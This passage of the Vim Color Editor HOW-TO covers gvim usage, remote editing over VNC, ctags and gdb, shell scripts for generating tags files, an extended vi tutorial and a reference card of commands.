Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : VIM Usage

 Next Previous Contents

5. VIM Usage

You can use Vim in two modes - one with GUI and other without GUI. To use GUI use command -

        gvim foo.cpp
To use non-gui mode give -
        vim foo.cpp
OR plain vanilla mode
        vi foo.cpp
It is very strongly recommended that you always use gvim instead of vim, since GUI mode with colors will definitely improve your productivity.

GUI mode gvim provides the following -

  • You can mark the text using the mouse to do cut, copy and paste.
  • You can use the Menu bar which has - File, Edit, Window, Tools, Synatx and Help buttons.
  • Also in near future in gvim - a second menu bar will display the list of files being edited, and you can switch files by clicking on the filenames, until then you can use vi commands - :e#, :e#1, :e#2, :e#3, :e#4, ....so on to select the files.


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Remote Vi - MS Windows QVWM Manager

 Next Previous Contents

6. Remote Vi - MS Windows QVWM Manager

If you want to use Vi and Vim remotely from a MS Windows PC client, then you should use VNC + QVWM manager. Servers are generally located in remote Data Centers and to edit the files, you should first login to remote servers from MS Windows or Linux desktop PCs. After starting VNC server and QVWM manager on remote server, you should fire up vncviewer on your client desktop and edit remote files with gvim.

To use graphical editor like gvim for remote operations, use the following techniques below:

You can use the VNC to display remote machines on your local display.

  • The VNC is at http://www.uk.research.att.com/vnc

  • Get VNC rpms from rpmfind.

  • The best Window manager for VNC is QVWM which is like MS Windows 98/NT/2000 interface, get it from http://www.qvwm.org.

  • After starting vncserver, you can start the vncviewer program on clients like MS Windows, Mac or Linux.

  • See also the List of X11 Windows Managers.

Compiling qvwm on Solaris : On Solaris you should install the following packages which you can get from http://sun.freeware.com - xpm, imlib, jpeg, libungif, giflib, libpng, tiff. And you can download the binary package for solaris from http://www.qvwm.org.

Or you can download the qvwm source for solaris from http://www.qvwm.org and compile it using gcc.

Troubleshooting compile: You should put unsigned long before arg in usleep() usleep((unsigned long) 10000)


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Vi companions

 Next Previous Contents

7. Vi companions

Generally Vim is used in conjunction with other powerful tools like ctags and gdb. ctags is for very rapid navigation through millions of lines of "C/C++" code and gdb is for debugging the "C/C++" code. A brief introduction of these two indispensable commands will be given in this chapter.

ctags is the most powerful command available for coding C, C++, Java, Perl, Korn/Bourne shell scripts or Fortran. Developers very extensively use ctags to navigate through thousands of functions within C/C++ programs. See 'man ctags' on Unix. It is very important that you learn how to use ctags to develop programs in C or C++, Java, etc.. Navigation is the single most important task while doing development of C or C++ code. Using ctags you can very quickly read the code by jumping from a calling line to the called function, drill down deeper into nested function calls, and unwind back all the way up to the top. You can go back and forth from function to function very quickly.

Without NAVIGATION you will be completely lost! ctags is like the magnetic COMPASS needle for the programmers.

Usage of ctags :

        ctags *.cpp
        gvim -t foo_function
        gvim -t main
This will edit the C++ program file which contains the function foo_function() and will automatically place the cursor on the first line of the function foo_function(). The second command takes you to the line with the main() function definition.

Inside the Vim editor, you can jump to a function by typing : (colon) tag < function name >as below -

        :tag sample_function
This will place the cursor on first line of sample_function()

If you want to jump into the function from a line in file which contains the function name, place the cursor just before the function name and press CTRL+] (press control key and left-square-bracket key simultaneously).

                // example code
                switch(id_number) {
                        Case 1:
                                if ( foo_function( 22, "abcef") == 3 )
                                    ^
                                    |
                                    |
                                    |
                  Place the cursor here (just before foo_function) and press CTRL+]
                  This takes you to the function named "foo_function".
                  To come back to this line press CTRL+t
To go back to the calling line press CTRL+t (Control key and letter 't' together). Keep pressing CTRL+t to unwind and go to the first line where you started the navigation. That is you can keep pressing CTRL+] and then keep pressing CTRL+t to go back. You can repeat these as many times as you want to have complete navigation through all the functions of C or C++.

7.1 Ctags for ESQL

Since ctags does not directly support the Embedded SQL/C (ESQL) language, the following shell script can be used to create tags for esql. ESQL/C is database SQL commands embedded inside the "C" programs. Oracle's ESQL/C is called Pro*C and Sybase, Informix have ESQL/C and PostgreSQL has product "ecpg".

Save this file as "sqltags.sh" and do chmod a+rx tags_gen.sh.

#!/bin/sh

# Program to create ctags for ESQL, C++ and C files
ESQL_EXTN=pc
tag_file1=tags_file.1
tag_file2=tags_file.2

which_tag=ctags

rm -f $tag_file1 $tag_file2 tags

aa=`ls *.$ESQL_EXTN`
#echo $aa
for ii in $aa
do
        #echo $ii
        jj=`echo $ii | cut -d'.' -f1`
        #echo $jj

        if [ ! -f $jj.cpp ]; then
                echo " "
                echo " "
                echo "***********************************************"
                echo "ESQL *.cpp files does not exist.. "
                echo "You must generate the *.cpp from *.pc file"
                echo "using the Oracle Pro*C pre-compiler or Sybase"
                echo "or Informix esql/c pre-compiler."
                echo "And then re-run this command"
                echo "***********************************************"
                echo " "
                exit
        fi

        rm -f tags
        $which_tag $jj.cpp
        kk=s/$jj\.cpp/$jj\.pc/g

        #echo $kk > sed.tmp
        #sed -f sed.tmp tags >> $tag_file1

        #sed -e's/sample\.cpp/sample\.pc/g' tags >> $tag_file1
        sed -e $kk tags >> $tag_file1
done

# Now handle all the C++/C files - exclude the ESQL *.cpp files
rm -f tags $tag_file2
bb=`ls *.cpp *.c`
aa=`ls *.$ESQL_EXTN`
for mm in $bb
do
        ee=`echo $mm | cut -d'.' -f1`
        file_type="NOT_ESQL"
        # Exclude the ESQL *.cpp and *.c files
        for nn in $aa
        do
                dd=`echo $nn | cut -d'.' -f1`
                if [ "$dd" = "$ee" ]; then
                        file_type="ESQL"
                        break
                fi
        done

        if [ "$file_type" = "ESQL" ]; then
                continue
        fi

        rm -f tags
        $which_tag $mm
        cat tags >> $tag_file2
done

mv -f $tag_file2 tags
cat  $tag_file1 >> tags
rm -f $tag_file1

# Must sort tags file for it work properly ....
sort tags > $tag_file1
mv $tag_file1 tags

7.2 Ctags for JavaScript programs, Korn, Bourne shells

The shell script given below can be used to generate tags for a very large variety of programs written in JavaScript, PHP/FI scripts, Korn shell, C shell, Bourne shell and many others. This is a very generic module.

Save this file as tags_gen.sh and do chmod a+rx tags_gen.sh.

#!/bin/sh

tmp_tag=tags_file
tmp_tag2=tags_file2

echo " "
echo " "
echo " "
echo " "
echo " "
echo "Generate tags for ...."
while :
do
        echo "    Enter file extension for which you want to generate tags."
        echo -n "    File-extension should be like sh, js, ksh, etc... : "
        read ans

        if [ "$ans" == "" ]; then
                echo " "
                echo "Wrong entry. Try again!"
        else
                break
        fi
done

\rm -f $tmp_tag

aa=`ls *.$ans`

for ii in $aa
do
        jj=`echo $ii | cut -d'.' -f1`
        #echo $jj
        cp $ii $jj.c
        ctags $jj.c
        echo "s/$jj.c/$ii/g" > $tmp_tag2
        sed -f $tmp_tag2 tags >> $tmp_tag
        \rm -f tags $jj.c
done

sort $tmp_tag > tags

\rm -f $tmp_tag $tmp_tag2

7.3 Debugger gdb

You would be using gdb extensively along with Vi. Debugging is the most important aspect of programming as the major cost of software projects goes into debugging and testing.

To debug C++/C programs use 'gdb' tool. See 'man gdb'. You must compile your programs with -g3 option like

        gcc -g3 foo.c foo_another.c sample.c

To set up easy aliases do -

  Setup an alias in your ~/.bash_profile
        alias gdb='gdb -directory=/home/src -directory=/usr/myname/src '
  Give -
        gdb foo.cpp
        gdb> dir /hom2/another_src
        This will add to file search path
        gdb> break 'some_class::func<TAB><TAB>
  This will complete the function name saving you typing time... and will output like -
        gdb> break 'some_class::function_foo_some_where(int aa, float bb)'

Pressing TAB key twice is the command line completion, which will save you lots of typing time. This is one of the most important technique of using gdb.

To get online help do -

        gdb> help
  Gives online help
        gdb> help breakpoints
  Gives more details about breakpoints.

To set breakpoints and do debugging

        unixprompt> gdb exe_filename
        gdb> b main
  This will put breakpoint in main() function
        gdb> b 123
  This will put breakpoint in line 123 of the current file
        gdb> help breakpoints
  Gives more details about breakpoints.

To analyze the core dumps do

        unixprompt> gdb exe_filename  core
        gdb> bt
  Gives backtrace of functions and line numbers where the program failed
        gdb> help backtrace
  Gives more details about backtrace.

You can also use GUI version of gdb called xxgdb.

See also gdb interface to Vim at http://www.lxlinux.com/gdbvim.tgz.

Memory leak tools -

  • Freeware Electric Fence on linux cd,
  • Commercial tools Purify http://www.rational.com
  • Insure++ http://www.insure.com


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Online VIM help

 Next Previous Contents

8. Online VIM help

See the online man pages. At unix shell prompt type 'man vim' and 'man gvim'.

Or inside the gvim session type :help to get the help page. See also Vim Tutorial To see the settings type :set all or :set. To see list of options type :options. To see topics on set type :help set.

                        VIM - main help file

      Move around:  Use the cursor keys, or "h" to go left,
                    "j" to go down, "k" to go up, "l" to go right.
                    ":1" takes you to 1st line of page
                    ":n" takes you to nth line of page
                    "<SHIFT>g" takes you to bottom of page
                    ":/someword/ will search for "someword" in doc

Close this window:  Use ":q<Enter>".

Jump to a subject:  Position the cursor on a tag between |bars| and hit CTRL-].

   With the mouse:  ":set mouse=a" to enable the mouse (in xterm or GUI).
                    Double-click the left mouse button on a tag between |bars|.

        jump back:  Type CTRL-T or CTRL-O.

Get specific help:  It is possible to go directly to whatever you want help
                    on, by giving an argument to the ":help" command |:help|.
                    It is possible to further specify the context:
                          WHAT                  PREPEND    EXAMPLE      ~
                      Normal mode commands     (nothing)   :help x
                      Visual mode commands        v_       :help v_u
                      Insert mode commands        i_       :help i_<Esc>
                      command-line commands       :        :help :quit
                      command-line editing        c_       :help c_<Del>
                      Vim command arguments       -        :help -r
                      options                     '        :help 'textwidth'

list of documentation files:

|howto.txt|     how to do the most common things
|intro.txt|     introduction to Vim
|index.txt|     alphabetical index for each mode
|autocmd.txt|   automatically executing commands on an event
|change.txt|    delete and replace text


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Vim Home page and Vim links

 Next Previous Contents

9. Vim Home page and Vim links

The home page of vim is at http://www.vim.org and mirror site in US is at http://www.us.vim.org

Vim FAQ is at http://www.grafnetix.com/~laurent/vim/faq.html and at http://www.vim.org/faq

Eli's Vim Page at http://www.netusa.net/~eli/src/vim.html

The Vi Lovers Home Page http://www.cs.vu.nl/~tmgil/vi.html

Vim Reference Guide at http://scisun.sci.ccny.cuny.edu/~olrcc/vim/

Vim mailing list at http://www.findmail.com/listsaver/vimannounce.html and http://www.vim.org/mail.html

Mailing list archives are kept at:

  • http://www.egroups.com/group/vim
  • http://www.egroups.com/group/vimdev
  • http://www.egroups.com/group/vimannounce

Vim macros http://www.grafnetix.com/~laurent/vim/macros.html


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Vim Tutorial

 Next Previous Contents

10. Vim Tutorial

10.1 Vim Hands-on Tutorial

On Linux system see the tutorial at /usr/doc/vim-common-5.*/tutor, on other unix systems go to directory where vim is installed and look for doc directory.

        bash$ cd /usr/doc/vim-common*/tutor
        bash$ less README.txt
        bash$ cp tutor $HOME
        bash$ cd $HOME
        bash$ less tutor

10.2 Vi Tutorials on Internet

  • Purdue University http://ecn.www.ecn.purdue.edu/ECN/Documents/VI/

  • Quick Vi tutorial http://linuxwww.db.erau.edu/LUG/node165.html

  • Advanced Vi tutorial http://www.yggdrasil.com/bible/bible-src/user-alpha-4/guide/node171.html

  • Tutorials http://www.cfm.brown.edu/Unixhelp/vi_.html

  • Tutorials http://www.linuxbox.com/~taylor/4ltrwrd/section3_4.html

  • Unix world online vi tutorial http://www.networkcomputing.com/unixworld/unixhome.html

  • Univ of Hawaii tutorial http://www.eng.hawaii.edu/Tutor/vi.html

  • InfoBound http://www.infobound.com/vi.html

  • Cornell Univ http://www.tc.cornell.edu/Edu/Tutor/Basics/vi/

  • Vi Lovers home page: http://www.cs.vu.nl/~tmgil/vi.html
  • After Sept 2000, will moveto http://www.thomer.com/thomer/vi/vi.html

  • Beginner's Guide to vi http://www.cs.umr.edu/unixinfo/general/packages/viguide.html

  • vi Help file http://www.vmunix.com/~gabor/vi.html

  • vim FAQ http://www.math.fu-berlin.de/~guckes/vim/faq/
There are many Vi Tutorials on internet. In Yahoo (Lycos, excite or Hotbot) enter "Vi Tutorial" in search field and search engine will return many pointers.


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Vi Tutorial

 Next Previous Contents

11. Vi Tutorial

In this tutorial, we describe some "advanced" vi concepts and commands, so you can appreciate the power of vi and so you decide how to build your knowledge of vi commands. Nearly all vi references list the available commands, but many don't bother to discuss how the commands interrelate; this topic is the main purpose of this tutorial.

11.1 Cursor Movement Commands

The vi cursor movement commands allow you to position the cursor in the file and/or on the screen efficiently, with a minimum number of keystrokes. There are oodles of cursor movement commands - don't try memorizing them all at once! Later, we'll see that much of the power of vi comes from mixing cursor movement commands with other commands to delete, change, yank (copy), and filter text.

Please edit a large text file (say, wknight) so you can experiment with each command as it is described. Keep in mind these commands will only work in Command Mode, not Insert Mode; if you start getting your "commands" in your text, press the ESC key to return to Command Mode.

  • cursor keys : As we've seen, cursor keys move by single character amounts left, down, up, and right. Movement above the top of the file, below the bottom, to the right of the end of a line, or left of the beginning is not allowed (no line wrapping).

  • hjkl : When vi was written (around 1978), many terminals on UNIX systems did not have cursor keys! h, j, k, and l were chosen as commands to move left, down, up, and right, respectively. Try them! Most vi diehards prefer these to the cursor keys because
    • (a) they are in the same place on all keyborads, and
    • (b) they fit nicely under the fingers, unlike most cursor keys, which are arranged in a box or "T" or some other nonlinear shape.
    Why h, j, k, and l? Well, in the ASCII character set, CTRL-H is backspace (moves left), CTRL-J is linefeed (moves down), and, of course, k and l are next to h and j, so you see, they're mnemonic.

  • 0 : ("zero", not "oh") Move to the beginning of current line. (To try this and the next few commands, use the cursor keys or h j k l to move to an indented text line that contains few "e" characters. If you can't find an indented line in your file, create one by inserting a few space characters at the beginning of a line.)

  • ^ : Move to first non-white character of current line. (For indented line, 0 and ^ are different.)

  • $ : Move to last character of current line.

  • tC : Move to (but not on) next character c in current line. (Press 0, then press te. This will move to the first e in the curent line.)

  • fC : Find (move on top of) next character c in current line. (Press fe, and the cursor will find - that is, move on top - the next e in the current line.)

  • TC : Move to (but not on) the previous character c in current line (Press $, then Te.)

  • FC : Find (move on top of) the previous character c in current line. (Press Fe.)

  • n| : Move to column n in current line. (Try 20 |. The digits 2 and 0 will not be displayed as you type them, but when you press | the cursor will move to column 20.) Try some experiments with t f T F | . When you do something illegal, vi will beep your terminal.

  • w : Forward to beginning of next "small" word ( a "small" word consists of unbroken alphanumeric characters or punctuation characters, but not mixed alphanumeric and punctuation). Try tapping w a dozen times or so - note what happens at punctuation.

  • W : Forward to beginning of next "big" word (alphanumeric and punctuation mixed). Try W a dozen times or so.

  • b : Backward to beginning of "small" word.

  • B : Backward to beginning of "big" word.

  • e : Forward to end of "small" word.

  • E : Forward to end of "big" word.

  • + Return : Move to first non-white space character on next line. (+ and the Return key have the same effect.)

  • - : Move to first non-white space character on previous line.

  • ) : Move to the end of sentence. (A sentence ends either at a blank line or at a period or examination mark followed by two space characters or at the end of a line. A period or exclamation mark followed by one space character does not end a sentence; this is correct behaviour, according to traditional rules of how sentences should appear in typed documents, but often appears wrong to those who have never suffered through a formal typing class.)

  • ( : Move to beginning of sentence.

  • } : Move to end of paragraph. (Paragraphs are seperated with blank lines, by vi's definition.)

  • { : Move to beginning of paragraph.

  • H : Move to home position (top line) on the screen

  • M : Move to middle line on the screen.

  • L : Move to last line on the screen.

  • nG : Move to line n. If n is not given, move to the last line in the file. (Try 15G to move to line 15, for example. The CTRL-G command displays the name of the file, some status information, and the current line number. To move to the top of the file: 1G)

  • CTRL-d : Scroll down half-screen (see note).
  • CTRL-u : Scroll up half-screen (see note).
  • CTRL-f : Move forward one-screen (see note).
  • CTRL-b : Move backward one-screen (see note).
  • Note : These four scrolling/paging commands cannot be used with the delete, change, yank, or filter commands.

  • /reg_exp : Move to next occurrence of the regular expression reg_exp When you press /, the cursor drops to the lower left corner of the screen and waits for you to type in the regular expression. Press the Return key to finish; vi then searches forward for the next occurrence of the regular expression. For example, press /the followed by Return. This moves forward to the next occurrence of the, perhaps imbedded in the middle of some longer word (other, weather, etc.). If you just press / and then Return, vi searches for the next occurrence of whatever the last regular expression was that you searched for.

  • n : Has the same effect as pressing / and then Return; i.e., searches for the next occurrence of whatever the last regular expression was that you searched for.

  • ?reg_exp : Searches backward, rather than forward. If no reg_exp is given, it searches for the last regular expression that was entered. Both / and ? wrap around, so searching "below" the bottom or "above" the top of the file is legal.

  • N : Same as pressing ? and then Return.

11.2 Repeat Counts

Many of the movement commands discussed above can be preceded with a repeat count; the movement is simply repeated the given number of times:

  • 3w : Move forward three words
  • 5k : Move up four characters
  • 3fa : Find the third succeeding a in current line
  • 6+ : Move down six lines
For some commands, the "repeat counts" has special meaning:
  • 4H : Move to Line 4 on the screen (home plus 3)
  • 8L : Move to the eigth line from the bottom of the screen
  • 3$ : Move to the end of the third line down
For some commands (e.g., ^) the repeat count is ignored; for others (e.g., / and ? ) it is illegal

11.3 Deleting Text

We've seen that dd deletes the current line. This can be used with a repeat count: 3dd deletes three lines, the current line, and the two following lines.

The d command can be used as a "prefix" on most of the movement commands above to delete nearly arbitrary chunks of text. When used with d, the movement commands are called target specifiers. d can be given a repeat count. (As you try these experiments, remember to press u after each command to undo the deletion).

  • dw : Delete "small" word forward
  • d3w : Delete three "small" words forward
  • 3dw : Three times, delete "small" word forward
  • 3d3w : Three times, delete three "small" words forward (that is, delete nine "small" words forward)
  • d+ : Delete current line and next line down
  • d/the : Delete from current character up to but not including the next occurrence of the pattern the.
  • d$ : Delete to end of line
  • d0 : Delete to beginning of line
  • d30G : Delete from the curent line to and including Line 30
  • dG : Delete from current line to and including last line
  • d1G : Delete from current line to and including Line 1
To delete single characters, use x. x can be given a repeat count:
  • 15x : Delete current and 14 following characters
x is actually just an abbreviation of d1; that is, delete one character right.

11.4 Changing Text

The c command is similar to d, except it toggles vi into Insert Mode, allowing the original (unwanted) text to be changed to something else.

For example, put the cursor on the beginning of a word (press w to get to the beginning of the next word). Then, press cw to change that word. On the screen, the last character in the word being changed will be replaced with a $ symbol indicating the boundary of the change; type in a new word (you will overwrite the original word on the screen) and press the ESC key when done. Your input may be longer or shorter than the word being changed.

Put the cursor at the beginning of a line containing at least three words, and try c3w to change three words. Try c$ to change to the end of the current line. In all cases where the change affects only the current line, the boundary of the change is indicated with $.

When a change affects more than just the current line, vi deletes the original text from the screen and toggles into Insert Mode. For example, try c3+ to change the current and the next three lines; vi deletes the four original lines from the screen and toggles into Insert Mode in a new blank line. As usual, press the ESC key when you have finished entering your new text.

Some other change commands:

  • cc : Change current line
  • 5cc : Change five lines (current and next four)
  • c/the : Change from current character up to but not including the next occurrence of the pattern the
  • c$ : Change to end of line
  • c30G : Change from the current line to and including Line 30
  • cG : Change from curernt line to and including last line
  • c1G : Change from curernt line to and including Line 1

11.5 Yanking (Copying) Text

The y command yanks a copy of text into a buffer; the yanked text can then be put (or pasted) elsewhere in the file using p or P.

The simplest form of yank is yy to yank the current line; after yy, try p to put a copy of the yanked line after the cursor. Following yy, you can make as many copies of the yanked line as you want by moving up and down in the file and pressing p.

To copy multiple lines, try, for example, 5yy (yank the current and next four lines). p puts a copy of the yanked lines after the cursor; the sequence 5yyp "works" but it probably doesn't do what you would like. The P command is like p, but puts a copy of the yanked text ahead of the cursor; try the sequence 5yyP.

Other yank commands:

  • y3w : Yank three words
  • y$ : Yank to end of current line
  • y1G : Yank from current line to and including Line 1

11.6 Filtering text

The filter command !, prompts for the name of a UNIX command (which should be a filter), then passes selected lines through the filter, replacing those selected line in the vi buffer with the output of the filter command. vi's ability to pass nearly arbitrary chunks of text through any UNIX filter adds incredible flexibility to vi, at no "additional cost" in size or performance to vi itself.

Some examples will help illustrate. Create a line in your file containing just the word who and absolutely no other text. Put the cursor on this line, and press !! This command is analogous to dd, cc, or yy, but instead of deleting, changing, or yanking the current line, it filters the current line. When you press the second !, the cursor drops down to the lower left corner of the screen and a single ! is displayed, prompting you to enter the name of a filter. As the filter name, type sh and press the Return key. sh (the Bourne shell) is a filter! It reads standard input, does some processing of its input (that is, executes commands), and sends its output (the output of those commands) to standard output. Filtering the line containing who through sh causes the line containing who to be replaced with a list of the current users on the system - right in your file!

Try repeating this process with date. That is, create a line containing nothing but the word date, then put the cursor on the line, and press !!sh and the Return key. The line containing date is replaced with the output of the date command.

Put your cursor on the first line of the output of who. Count the number of lines. Suppose, for example, the number is six. Then select those six lines to be filtered through sort; press 6!!sort and the Return key. The six lines will be passed through sort, and sort's output replaces the original six lines.

The filter command can only be used on complete lines, not on characters or words.

Some other filter commands (here, < CR > means press Return):

  • !/the < CR > sort < CR > : Sort from the current line up to and including the next line containing the
  • !1Ggrep the < CR > : Replace from the current line to and including Line 1 with just the lines that contain the
  • !Gawk '{print $1}' < CR > : From the current line to the end of file, replace every line with just its first word.

11.7 Marking Lines and Characters

You can mark lines and characters to be used as targest for movement, deletion, change, yanking, and filtering using the command mc, where c is a lowercase letter.

For example, put the cursor in the middle of some word and press ma. This marks the character under the cursor as mark a.

Now, move the cursor off the marked character and to a different line ( use the cursor keys, CTRL-u, or whatever). To return to the marked line, press 'a (that is, single quote, then a). This moves to the first non-white space character on the line containing mark a.

Move off that line again. To return to the marked character, press `a (that is, backquote, then a). This moves on top of the character marked with a.

Marking is usually used with deleting, changing, yanking or filtering. For example, move the cursor to a line other than the one containing mark a, and then press d'a (d, single quote, a). This deletes from the current line to and including the line marked with a.

Put the cursor in the middle of a different word and press mb to set mark b. Now, move the cursor away from that word (but only a few lines, so you can see what we're about to do more easily), and then press d`b (d, backquote, b). This deletes from the current CHARACTER to and including the CHARACTER marked with b.

As another example, to sort the output of who, mark the first line (ma), then move the cursor to the last line and press !'asort and the Return key.

If you jump to a mark and decide you want to jump back to whatever you jumped from, you can press '' (jump back to line) or `` (jump back to character).

11.8 Naming Buffers

When you delete, change, or yank text, the original text is stored (until the next delete, change, or yank) in an unnamed buffer from which it can be put using p or P. Using the unnamed buffer, only the most recently deleted, changed or yanked text may be recovered.

If you wish to delete, change, or yank multiple sections of text and remember them all (up to a maximum of 26), you can give a buffer name ahead of the delete change or yank command. A buffer name has the form "c (double quote, lowercase c).

For example, press "ayy to yank the current line into buffer a, then move to a different line and press "byy to yank that line into buffer b. Now, move elsewhere in the file and press "ap and "bp to put copies of the text stored in buffers a and b.

Some other named buffer commands:

  • "a6yy : Yank six lines (current and next five) into buffer a
  • "bd1G : Delete from the curernt line to and including Line 1, storing the deleted lines in buffer b
  • "cy'c : Yank from the current line to the line marked c into buffer c (marks and buffers are distinct, and may have the same name without confusing vi)

11.9 Substitutions

To substitute one chunk of text for another in lines throughout your file, use the :s command. Some substitute examples:

  • :1,$s/the/THE/g From Line 1 to the last line (line $), substitute for the text THE; do this globally in each line where the occurrs
  • :'a,.s/.*/ha ha/ From the line marked a to the current line (line .), substitute for everything on the line the text ha ha

11.10 Miscellaneous "Colon Commands"

All colon commands begin with a colon; when you press the colon, the cursor drops to the lower left corner of the screen, and a colon prompt is displayed waiting for you to finish your colon command.

Some important examples:

  • :w Write the buffer contents to the file without quitting from vi
  • :w abc Write the buffer contents to the file abc (creating abc if it doesn't exist, or overwriting current contents if it does exist) without quitting from vi
  • :1,10w abc Write lines 1 through 10 to file abc
  • :'a,$w abc Write from the line marked a to the last line into file abc
  • :e abc Edit file abc, instead of the current file. vi prints an error message if changes have been made to the curernt file that have not been saved with :w
  • :e! abc Edit file abc, throwing away any changes that may have been made to the current file
  • :e # Edit the prior file edited (successive :e# commands toggle back and forth between two files)
  • :f abc Change the file anme for the current vi buffer to abc
  • :q Quit, unless unsaved chanegs have been made
  • :q! Quit, throwing away any changes that may have been made
  • :r abc Read the file abc into current vi buffer, after the line the cursor is on (try :r croc to read in a copy of the croc file)
  • :!cmd Execute command cmd (who, sort, ls, etc.)

11.11 Setting Options

Various options affect the "feel" of vi. You can display all the various options that can be set using the colon command :set all. You can also use set to change options.

For example, if you want to see line numbers for the lines in the file you're editing, use the command :set number. To turn off line numbering, use the command :set nonumber. Most options can be abbreviated; :set nu turns on line numbering and :set nonu turns off line numbering.

If you :set nomagic, the special meanings of regular expression characters (period, asterisk, square bracket, etc.) are switched off. Use :set magic to restore the special meanings.

Some options take a value. For example, :set tabstop=4 causes tabs to be displayed as four space characters, rather than the usual eight.

If you find you always want certain options set certain ways, you can put the set commands you want ina file .exrc, or you can set up the environment variable EXINIT to specify the options you want.

For example, if your login shell is Bourne shell, this line could go in your .profile file:

        EXINIT='set nomagic nu tabstop=4'; export EXINIT
If your login shell is a C shell, this line could go in your .login file:
        setenv EXINIT 'set nomagic nu tabstop=4'

11.12 Key Mappings

If you find you're performing a series of simple commands over and over, you can map the command series to an unused command key using the :map command. If your mapping must include control characters such as Return key (CTRL-M in ASCII) or the ESC (CTRL-[ in ASCII) key, precede such characters with CTRL-v to suppress their usual special meaning.

For example, this command maps CTRL-A to move the cursor forward 55 lines, then back up to the most recent blank line, then change that blank line to a formfeed (CTRL-L) and three blank lines. That is, each CTRL-A will paginate the next page, without splitting paragraphs across pages.

Note: In this command, each control character is shown as ^C, where C is some uppercase letter. For example, CTRL-M is shown as ^M. Also, when you enter this command you will not see the CTRL-v characters as shown: each CTRL-v merely suppresses the usual special meaning of the following control character, so when you press the sequence ^V^M, all you will see on the screen is ^M. In this command, ^M is the Return key and ^[ is the ESC key.

        :map ^A  55+?^$^V^Mcc^V^L^V^M^V^M^V^M^V^[

11.13 Editing Multiple Files

You can edit multiple files with vi by giving multiple file names as command line arguments:

        vi croc fatherw  wknight
Three colon commands are used to move through the multiple files:
  • :n Move to the next file in the argument list (you must save changes with :w or vi will print an error message)
  • :N Move to the previous file in the argument list (you must save changes with :w or vi will print an error message)
  • :rew Rewind and start over with the first file in the argument list
The :n, :N, and :rew commands are somewhat clumsy, but there are some important benefits: the contents of named buffers ("a, "b, "c, etc.) are remembered across files, so you can use :n and :rew with p and P to copy text back and forth between files. Also, the most recent search string for the / and ? commands remembered across files, so you can do repetitive searches in multiple files rather easily.

For example, try the following experiment: First get out of vi, then execute vi with croc and wknight as arguments:

        $ vi croc wknight
In croc, search for the

/the < CR >

Yank this line into buffer a:

"ayy

Now go to the next file (you've made no change to croc, so this will work):

:n < CR >

Search for the "next" line containing the, without retyping the search string:

n

Put a copy of buffer a after the current line in wknight:

"ap

Move down two lines, and yank the current line into buffer b:

jj"byy

Save the changes to wknight

:w < CR >

Now, rewind to croc

:rew < CR >

Search again, and put a copy of buffer b after the found line:

n"bp

Save the changes, and exit vi

ZZ

11.14 Final Remarks

This tutorial was intended to introduce some of the vi capabilities that you might overlook in your system's vi manual or that might not be mentioned in the manual (different systems have manuals of widely varying quality).

You will not be a vi expert after reading this tutorial, but you will have a good appreciation of vi's capabilities. Only time and effort can make a vi expert. But the efficiency and universality of vi make this effort pay off in the long run.

You may have decided you hate vi. So be it! But be aware that vi remains the standard UNIX text editor - the one editor you can count on being available on every UNIX system you'll use - so even if you prefer to use something else day-to-day, you'd be well advised to know the bare minimum vi material covered in this tutorial.


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Vim Reference Card

 Next Previous Contents

12. Vim Reference Card

12.1 Vi states

Vi has 3 modes:

  1. command mode - Normal and initial state; others return here (use ESC to abort a partially typed command)
  2. input mode - entered by specific commands a i A I o O c C s S R and ended by ESC or abnormally with interrupt
  3. line mode - i.e. waiting for input after a : , / , ? or a ! command (end with CR, abort with CTRL-c). CTRL is the control key: CTRL-c means "control c"

12.2 Shell Commands

  1. TERM= code Puts a code name for your terminal into the variable TERM
  2. export TERM Conveys the value of TERM (the terminal code) to any UNIX system program that is terminal dependant.
  3. tput init Initializes the terminal so that it will function properly with various UNIX system programs.
  4. vi filename Accesses the vi screen editor so that you can edit a specified file.
  5. vi file1 file2 file3 Enters three files into the vi buffer to be edited. Those files are file1, file2, and file3.
  6. view file Invoke vi editor on file in read-only mode
  7. vi -R file Invoke vi editor on file in read-only mode
  8. vi -r file Recover file and recent edits after system crash

12.3 Setting Options

  1. :set option Activate option
  2. :set option=value Assign value to option
  3. :set no option Deactivate option
  4. :set Display options set by user
  5. :set all Display list of all current options, both default and those set by the user
  6. :set option? Display values of option

12.4 Notations used

Notations:

  1. CTRL-c CTRL is the control key: CTRL-c means "control c"
  2. CR is Carriage return (ENTER key)

12.5 Interrupting, cancelling

  1. ESC end insert or incomplete command
  2. CTRL-? CTRL is the control key: CTRL-? means "control ?" delete or rubout interrupts
  3. CTRL-l reprint/refresh screen if CTRL-? scrambles it

12.6 File Manipulation

  1. ZZ Save the file and exit vi
  2. :wq Save the file and exit vi
  3. :w Write the current file
  4. :w! Force write the current file, if file is read-only
  5. :wname Write to file name
  6. :q Exit from vi
  7. :q! Force exit from vi (discarding changes)
  8. :e name Edit file name
  9. :e! reedit, discard changes
  10. :e + name edit file name, starting at end
  11. :e + n edit starting at line n
  12. :e # edit alternate file
  13. :n edit next file in arglist
  14. :args list files in current filelist
  15. :rew rewind current filelist and edit first file
  16. :n args specify new arglist
  17. :f show current file and line
  18. CTRL-G synonym for :f , show current file and line
  19. :ta tag to tag file entry tag
  20. CTRL-] :ta, following word is tag

12.7 Movement

  1. Arrows Move the cursor
  2. CTRL-d Scroll half page down
  3. CTRL-u Scroll half page up
  4. CTRL-f Scroll a full page down
  5. CTRL-b Scroll a full page up
  6. :0 Move to start of file
  7. :n Move to line number n
  8. :$ Move to end of file
  9. 0 Move to start of line
  10. ^ Move to first non-blank character
  11. $ Move to end of line
  12. CR Move to the start of next line
  13. - Move to the start of previous line
  14. % Find matching bracket
  15. G goto line (last line default)
  16. ]] next section/function
  17. [[ previous section/function

12.8 Line Positioning

  1. H Home window line
  2. L Last window line
  3. M Middle window line
  4. + Next line, at first non-white
  5. - Previous line, at first non-white
  6. CR return, same as +
  7. j next line, same column
  8. k previous line, same column

12.9 Character positioning

  1. 0 beginning of line
  2. $ end of line
  3. h forward
  4. l backwards
  5. SPACE same as l
  6. fx find x forward
  7. Fx find x backward
